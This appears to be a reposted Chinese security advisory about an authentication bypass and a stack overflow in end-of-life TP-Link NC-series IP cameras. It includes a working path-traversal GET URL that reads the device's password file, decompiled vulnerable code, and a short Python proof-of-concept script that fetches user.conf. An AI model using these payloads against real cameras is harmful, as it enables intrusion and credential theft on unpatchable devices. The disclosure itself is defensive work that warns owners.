TP-LINK NCXXX 身份验证绕过

admin 2024年3月3日21:44:02评论41 views字数 1886阅读6分17秒阅读模式
TP-LINK NCXXX 身份验证绕过

概括
TP-Link NCXXX 系列设备中存在一个漏洞,该漏洞允许在没有凭据的情况下访问设备 - 该漏洞与众所周知且当前未修补的身份验证后漏洞相结合,导致设备完全受到损害。
受影响的版本
  • TP-Link NC200
  • TP-Link NC210
  • TP-Link NC220
  • TP-Link NC230
  • TP-Link NC250
  • TP-Link NC260
  • TP-Link NC450
供应商回应
该设备目前已不再受支持(有些自 2015 年起,另一些自 2017 年起),并且不太可能获得任何补丁 – 我们发布此信息是为了提醒这些设备(仍然存在于互联网上)的用户,他们应该在之前立即断开这些设备的连接。他们会受到损害。
技术分析 - 逻辑漏洞
该漏洞用于绕过身份验证,它存在于二进制文件httpLoginRpm中的方法ipcamera中,特别是根 URL(“/”)的处理程序方法中。该问题源于httpGetEnv(param_1,"DOCUMENT_ROOT")在执行身份验证之前对通过函数调用获得的用户输入进行了不当处理。
在生成“login.html”路径的过程中,二进制文件使用以下snprintf函数调用:
snprintf(full_path, 0x40, "%s%s", uVar1, "login.html");
这行代码中,full_path是一个最大大小为64字节(十六进制为0x40)的缓冲区,是uVar1一个变量,保存着调用得到的值httpGetEnv(param_1,"DOCUMENT_ROOT"),可以由用户控制。
通过操纵提供给函数的输入httpGetEnv,攻击者可以更改uVar1变量以指向不同的文件路径,本质上避开了与“login.html”的串联。这允许他们指定他们想要访问的任何文件的路径,从而导致文件泄露漏洞。
当成功操纵路径构造时,指定的文件将被打开,并将其内容转发回攻击者,从而可能暴露系统上存储的敏感信息。
要绕过身份验证,使用此漏洞读取文件系统上的此隐藏文件就足够了/usr/local/config/ipcamera/.lighttpdpassword。未经身份验证的用户不应能够修改 DOCUMENT_ROOT。
针对此漏洞的简单 PoC 是执行一个简单的 GET 请求:
http://192.168.1.17/?DOCUMENT_ROOT=////////////////////usr/local/config/ipcamera/.lighttpdpassword
堆栈溢出
该漏洞针对“/sddelfile.fcgi”端点,经过身份验证后即可利用,ipcamera 二进制文件中的函数名称为“httpSDDelFile”,利用了前面提到的漏洞。攻击者可以通过发送带有过长“filepath”参数的 POST 请求来利用此漏洞。函数“swSdDelFile”对该参数处理不当,导致堆栈溢出漏洞。它将攻击者提供的“文件路径”数据逐字节连接到堆栈上,而没有充分检查输入的长度。
这是易受攻击的代码片段:
undefined4 swSdDelFile(char *filepath){ ... attacker_path = filepath; ... i = 0; while (*attacker_path != '*' && *attacker_path != '�') { strncat((char *)&stack_parameter, attacker_path, 1); i++; attacker_path++; } ...}
此代码缺乏对“attacker_path”大小的任何检查,从而允许“stack_parameter”溢出。
由于二进制文件中缺乏所有安全保护,因此该漏洞可以被利用。
攻击者可以使用它通过使设备崩溃来导致拒绝服务 (DoS),或者通过操纵程序的执行流跳转到堆栈上写入 shellcode 的位置来潜在地执行任意 shellcode。
概念验证
#!/usr/bin/python3 import requests host = "192.168.1.1" filename = "/usr/local/config/ipcamera/user.conf" url = "http://" + host + "/?DOCUMENT_ROOT=" + filename.rjust(0x40 - 1, "/")headers = {"Cookie": "sess=ok"}response = requests.get(url, headers=headers, timeout=1).text print(f"{response=}")

原文始发于微信公众号(Ots安全):TP-LINK NCXXX 身份验证绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月3日21:44:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TP-LINK NCXXX 身份验证绕过https://cn-sec.com/archives/2543484.html

发表评论

匿名网友 填写信息